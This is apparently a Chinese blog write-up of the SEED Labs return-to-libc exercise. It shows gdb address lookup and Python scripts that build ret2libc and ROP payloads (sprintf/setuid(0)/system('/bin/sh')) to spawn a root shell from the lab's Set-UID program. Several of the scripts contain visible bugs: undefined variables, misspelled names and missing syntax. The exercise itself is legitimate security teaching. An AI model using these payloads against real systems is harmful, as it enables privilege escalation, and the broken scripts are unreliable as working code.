SEED-labs Return-to-libc

Return-to-libc Attack Lab

return-to-libc 是一种对抗linux系统栈保护的攻击方法。我们知道大部分linux系统有栈保护机制(DEP)。简单的说,既然栈中的指令不能执行,我们可以找到libc中的函数去执行,这样就绕过了数据不可执行的问题了。

实验准备

1、关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0

2、用符号链接代替 /bin/bash
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

sudo ln -sf /bin/zsh /bin/sh

Task 1:Finding out the Addresses of libc Functions

ret2libc的精髓之处在于,把ret addr修改成libc库中的函数地址,并且构造了system函数的参数。
构造攻击链第一步就是找到可利用的函数system()
这里使用gdb打印出地址

#生成可执行文件
touch badfile
make
#打开gdb附加
gdb
gdb-peda$ file retlib
# 在main函数下断点并运行
gdb-peda$ break main
gdb-peda$ run
# 用p指令查看变量的值(地址)
gdb-peda$ p system
gdb-peda$ p exit

在这里插入图片描述
在这里插入图片描述

Task 2:Putting the shell string in the memory

设置一个可以利用的环境变量
因为要把字符串 “/bin/sh” 传入system的参数才能拿到权限

 $export MYSHELL=/bin/sh
 $env | grep MYSHELL

prtenv.c:

#include<stdlib.h>
#include<stdio.h>

void main(){
	char* shell = getenv("MYSHELL");
	if (shell)
	printf("%x\n", (unsigned int)shell);
}

在这里插入图片描述

在这里插入图片描述

Task 3:Launching the Attack

有了前两步得到的,就可以构造攻击脚本了

#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = Y+8
sh_addr = 0xffffd403 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf4e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = Y+4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
f.write(content)

成功拿到后门

在这里插入图片描述

Task 4:Defeat Shell’s countermeasure

$ sudo ln -sf /bin/dash /bin/sh

task3 和 task4 的区别在于zsh不会校验权限dash会
所以不但要拿到shell,还要是root
可以用execv拿shell,也可以构造ROP时先提权再system
便于task5 的实现,采取后者:

构造ROP的核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。
所以先找到ret命令:查看可利用函数的汇编
在这里插入图片描述
有点长直接看最后的返回指令地址 leave = 0x565562ce
在这里插入图片描述
其余需要利用的函数均照第一步p打印出

照ppt上用sprintf 构造出setuid()指令需要的’0’ (即root)
在这里插入图片描述

然后按照先获得root权限再system拿shell的顺序编rop链

每次 ebp指针移位0x20,构造出一段栈空间执行我们需要的代码
构造时‘A’为填充,其个数根据 0x20 - (前面传入参数个数) * 4

# !/usr/bin/python3
import sys

def tobytes (value):
    return (value).to_bytes(4, byteorder= 'little')

content bytearray(0xaa for i in range (24))

sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58

# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20

# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")

# Use leave ret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)

# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
    ebp_next += 0x20
    content += tobytes(ebp_next)
    content += tobytes(sprintf_addr)
    content += tobytes(leaveret)
    content += tobytes(sprintf_arg1)
    content += tobytes(sprintf_arg2)
    content += b'A' * (0x20 - 5*4)
    sprintf_argl += 1

# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)

# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)

# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)

# Write the content to a file
with open("badfile", "wb") as f:
    f.write (content)

成功拿到root的shell:
在这里插入图片描述

Task 5:Return-Oriented Programming

与task4区别不大
exploit.py:

# !/usr/bin/python3
import sys

def tobytes (value):
    return (value).to_bytes(4, byteorder= 'little')

content bytearray(0xaa for i in range (24))

sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
foo_addr = 0x565562d0 # CHANGED!

# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20

# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")

# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)

# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
    ebp_next += 0x20
    content += tobytes(ebp_next)
    content += tobytes(sprintf_addr)
    content += tobytes(leaveret)
    content += tobytes(sprintf_arg1)
    content += tobytes(sprintf_arg2)
    content += b'A' * (0x20 - 5*4)
    sprintf_argl += 1

# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)

for i in range(10): # CHANGED!
    ebp += 0x20
    content += tobytes(ebp_next)
    content += tobytes(foo_addr)
    content += tobytes(leveret)
    content += b'A'*(0x20-3*4)

# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)

# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)

# Write the content to a file
with open("badfile", "wb") as f:
    f.write (content)

调用10次:
在这里插入图片描述

  • 17
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值